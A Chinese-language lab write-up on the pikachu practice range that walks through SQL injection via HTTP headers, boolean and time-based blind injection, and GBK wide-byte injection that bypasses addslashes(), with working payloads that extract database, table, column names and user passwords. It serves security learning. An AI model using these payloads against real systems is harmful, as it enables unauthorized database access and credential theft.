http header注入
常见存在注入的头部参数
参数 | 描述 |
---|---|
HOST | 服务器的域名或IP地址端口 |
User-Agent | 客户端的浏览器类型 |
Cookie | 验证用户身份 |
Referer | 发起该请求来源的地址 |
X-Forwarded-For | 请求方的真实IP |
注入原理
服务端从请求包中获取、验证请求头中的某些参数信息,此过程会将这些信息存储在数据库中,若没有进行过滤,并且被利用,则会造成SQL注入。
实验
使用pikachu靶场SQL-Inject的"http header"注入。
- 使用提示中的账号密码登录,出现这个页面,头部的一些信息给记录,可能存在注入点。
- 用Burp抓包,在User-Agent字段后增加
'
单引号,报错。
- 查数据库名。
UpdateXML()函数,给出参考的两个payload。
' or UpdateXML(1,concat('~',database()),1) or '
'''and UpdateXML(1,concat('~',database()),1))#
- 其他数据的查找和其他函数的使用大同小异,可以参考这篇文章
盲注
相关函数
length(string)
#返回字符串string的长度
stustr(string,strat,length)
#返回字符串string中从位置start开始的length位
sleep(s)
#休眠s秒
ascii(c)
#返回字符c的ASCII码值
if(expr1,expr2,expr3)
#如果expr1为true,执行expr2,否则执行expr3
注入原理
与有回显的注入原理相同,都是在web端恶意输入的payload传递到服务器后没有进行过滤,被当作sql语句执行。区别是盲注没有回显错误信息。
实验
使用pikachu靶场SQL-Inject的盲注。
基于布尔型的盲注
- 输入
vince' and 1=1#
和vince' and 1=2#
,前者返回vince信息,后者只提示不存在,无其他信息。
- 证明其存在盲注之后,构造payload查数据库名。
首先是判断数据库名的长度:
vince' and length(database())=7#
逐个猜:
vince' and ascii(substr(database(),1,1))=112#
—p
vince' and ascii(substr(database(),2,1))=105#
—i
vince' and ascii(substr(database(),3,1))=107#
—k
vince' and ascii(substr(database(),4,1))=97#
—a
vince' and ascii(substr(database(),5,1))=99#
—c
vince' and ascii(substr(database(),6,1))=104#
—h
vince' and ascii(substr(database(),7,1))=117#
—u - 查表名。
数据库中正常会有多个表,逐个查。(此处给出查第四个表limit 3,1)
表名的长度:
vince' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5#
表名:users(给出u的payload)
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#
- 查字段名。
类似于查表名,查询部分改为select column_name from information_schema.columns where table_name='xxxx'
- 查数据。
类似于查表名,查询部分改为select xxxx from xxx limit 0,1
例如users表的username字段的第一条数据的首字母a
vince' and ascii(substr((select username from users limit 0,1),1,1))=97#
基于时间的盲注。
- 输入什么都是回显同一个信息。
- 输入
vince' and if(1,sleep(3),0)#
和vince' and if(0,sleep(3),0)#
后前者存在3s以上延迟,后者正常。
- 查数据等操作,只需要将
if
里第一个参数改成查询判断的内容,跟布尔注入类似。
宽字节注入
相关函数
addslashes()
#返回在单引号(')、双引号(")、反斜杠(\)、NULL前添加反斜杠(\)的字符串。
注入原理
宽字节编码
是一种双字节编码,能将两个字节编译成一个汉字。宽字节编码有GB2312、GBK、GB18030、BIG5等。
注入原理
在php中使用addslashes()
函数对单引号等进行转义能起到一定的防SQL注入作用,但是如果数据库使用宽字节编码,就能够产生宽字节注入。
例如GBK编码:
因为addslashes()
函数的作用是在单引号等字符前加反斜杠('
->\'
),url编码后就是%5c%27
,在前面增加%df
(%81-%fe
之间都可),即%df%5c%27
,此时数据库若使用GBK编码,则会认为%df%5c
是一个宽字符,%27
单引号便逃逸出来了。
实验
使用pikachu靶场的宽字节注入。
- 查询后抓包修改post参数name为
vince%df%5c%27 or 1=1%23
。
- 查字段数。
vince%df%5c%27 order by 3%23
和vince%df%5c%27 order by 2%23
前者出现报错,后者正常。 - 查数据库名。
vince%df%5c%27 union select 1,database()%23
- 查表名。
vince%df%5c%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
- 查字段名。
'users'
表名旁边需要单引号,所以可以用Burp将'users'
进行转换为concat(char(39),char(117),char(115),char(101),char(114),char(115),char(39))
,或者转换成十六进制0x7573657273
。
vince%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=concat(char(117),char(115),char(101),char(114),char(115))%23
或者
vince%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=0x7573657273%23
这里有个问题,很奇怪,突然全部表的字段都出来了,但是之前我测试的时候,用的也是同个payload,只出现users表的。附上之前的截图。
- 查数据。
vince%df%27 union select username,password from users%23